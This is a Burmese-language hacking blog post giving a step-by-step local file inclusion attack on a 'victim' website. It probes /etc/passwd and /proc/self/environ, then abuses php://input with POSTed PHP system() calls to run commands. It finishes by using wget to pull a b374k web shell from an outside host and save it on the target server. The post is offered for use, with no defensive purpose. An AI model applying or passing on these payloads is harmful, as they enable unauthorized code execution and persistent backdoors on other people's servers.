မလာဂါပင္ပါ
ဒီေန႔သင္မယ္႔သင္ခန္းစာေလးက လူသိပ္မသိေသးဘူးထင္ရတဲ႔ lfi exploitation ေတြထဲ႔က သာမန္ဟက္ကာေတြလက္ေရွာ႔သြားတတ္တဲ႔အဆင္႔ပါ
နားမလည္ဘူးဆိုရင္ေတာ႔ဆက္လုပ္ဖို႔မသိတဲ႔ သူေတြအတြက္ သိသေလာက္ေလး share ေပးလိုက္တာပါ
သံုးျပမယ္႔ နည္းလမ္းကေတာ႔ "php://input" ပဲ႔ျဖစ္ပါတယ္ စလိုက္ရေအာင္
ကၽြန္္ေတာ္ target ထားတဲ႔ website ကို http://www.victim.com ကိုထားလိုက္မယ္ဗ်ာ
နမူနာ
http://www.victim.com/index.php?page=
အဲလို page မွာကၽြန္ေတာ္တို႔ include error ေတြကိုရွာနိုင္ပါတယ္
ပထမဆံုး /etc/passwd ဆိုတဲ႔ command ေလးနဲ႔စမ္းရေအာင္ ဒီေတာ႔ ေအာက္ကလိုျဖစ္သြားပါမယ္
http://www.victim.com/index.php?page=/etc/passwd
တစ္ကယ္လို႔ vul ျဖစ္တယ္ဆိုရင္ေတာ႔ ေအာက္ကပံုေလးလိုျဖစ္သြားမွာေပါ႔
ဟုတ္ပါတယ္ ပထမအဆင္႔ေတာ႔ဟက္ကာလို႔ေျပာေနတဲ႔သူတိုင္းသိမွာပါ လြယ္လြယ္ေလး
ေနာက္ထပ္ဆက္ဆြဲၾကည္႔မယ္
/proc/self/environ
/proc/self/fd
ဒီေတာ႔ full address ကဒီလိုျဖစ္သြားမွာပါ
http://www.site.com/index.php?page=/proc/self/environ
http://www.site.com/index.php?page=/proc/self/fd
ပံုမွန္ဆိုရင္ အဲဒီအဆင္႔မွာ error တက္ရင္ပံုမွန္ အတိုင္း expolit ဆက္လုပ္လို႔ရပါတယ္
ဒါေပမယ္႔ ဒီ အဆင္႔မွာ error မတက္ဘူးဆိုရင္ေကာ ဘာဆက္လုပ္မလဲ? ကၽြန္ေတာ္လည္းအရင္တုန္းက အဲဒီအဆင္မွာ႔ အျမဲတမ္း stop ျဖစ္တြားတယ္
အခုမွနည္းနည္းေလးသိတြားတာ ဒိေတာ႔ ကၽြန္ေတာ္က null-bye ဆိုတဲ႔ နည္းလမ္းသံုးျပီး url ရဲ႕အဆံုးမွာ ထပ္ထည္႔ျပီးကလိရေအာင္
ဒီနည္းကိုလုပ္မွာဆိုေတာ႔ ကၽြန္ေတာ္တို႔မွာ hackbar သို႔မဟုတ္ Live HTTP headers တစ္ခုခုလိုပါတယ္
ဘာလို႔လဲဆိုေတာ႔ commond line က php://input လုပ္မယ္႔နည္းလမ္းက post method ကိုသံုးရလို႔ပါ
အခုျပမယ္႔ သင္ခန္းစာမွာေတာ႔ Hackbar ကိုအသံုးျပဳထားပါတယ္
ကၽြန္ေတာ္နည္းလမ္းေလးကိုစလိုက္ရေအာင္ ေအာက္က code ကို hackbar ထဲမွာ ရိုက္ထည္႔ပါ
http://www.site.com/index.php?page=php://input
ျပီးေတာ႔ ဒီ code ကိုေတာ႔ post ဆိုတဲ႔ ေအာက္က အကြက္မွာရိုက္ထည္႔ပါ
<? system('uname -a'); ?>
အျခားသံုးလို႔ရတဲ႔ command
List directories အတြက္ဆိုရင္
<? system('ls'); ?>
Identification အတြက္ဆိုရင္
<? system('id'); ?>
format ကိုေျပာင္းခ်င္တယ္ဆိုရင္
<? system('mv cyberootsh3ll.txt cyberootsh3ll.php'); ?>
ျပီးေတာ႔ကၽြန္ေတာ္တို႔အသံုးျပဳမယ္႔ shell ကို server တစ္ခုခုေပၚကိုတင္ထားရင္လည္းယူသံုးလို႔ရပါတယ္
မရွိဘူးဆိုရင္ေတာ႔အဆင္သင္႔တင္ထားတဲ႔ sh3lll.org ကေနသြားယူလိုက္ပါ ကၽြန္ေတာ္ကေတာ႔ b374k shell ကိုအသံုးျပဳပါမယ္
http://www.sh3ll.org/b374k.txt?
ဒါျပီးရင္ေတာ႔ victim site ေပၚကို shell တင္ဖို႔အတြက္ wget command ကိုသံုးပါမယ္
<? system('wget http://www.sh3ll.org/b374k.txt -O cyberoot.php'); ?>
Hackbar မွာ execute လုပ္လိုက္ပါ ျပီးေတာ႔ဒါကိုသြားၾကည္႔ပါဦး
http://www.victim.com/cyberoot.php
Thanks for Reading..
Written by cyberoot.blogspot.com
Life is too bad, i like the challenge :)
I lost my mine ,Regard Hacker625
Credit:my Bro zerofreak Team Intra
No comments:
Post a Comment
Thanks for your comments
Welcome from cyberoot